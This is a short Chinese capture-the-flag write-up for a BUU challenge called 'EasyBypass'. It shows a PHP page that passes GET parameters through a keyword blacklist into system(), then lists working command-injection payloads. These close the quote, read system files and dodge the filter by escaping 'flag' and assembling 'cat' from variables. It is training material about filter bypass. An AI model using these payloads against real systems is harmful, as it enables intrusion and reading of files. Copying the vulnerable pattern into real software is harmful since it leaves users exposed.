EasyBypass
buu新上题,想必不久之后就会成一分题了……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1']; $comm2 = $_GET['comm2'];
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1)) $comm1 = ""; if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2)) $comm2 = "";
$flag = "#flag in /flag";
$comm1 = '"' . $comm1 . '"'; $comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2"; system($cmd); ?>
|
过滤绕过rce
一番尝试发现,comm2的过滤比comm1严格的多,那就只用comm1,闭合后面的引号即可执行命令
读取flag的时候发现flag也有过滤,然而f\lag就行了……
/?comm1=-f" "/etc/hosts

?comm1=-f" /fla\g;od /fla\g;"

od倒是可以用……
拼接亦可:?comm1=-f" ;a=ca;b=t;c=g;$a$b /fla$c;"

方法挺多……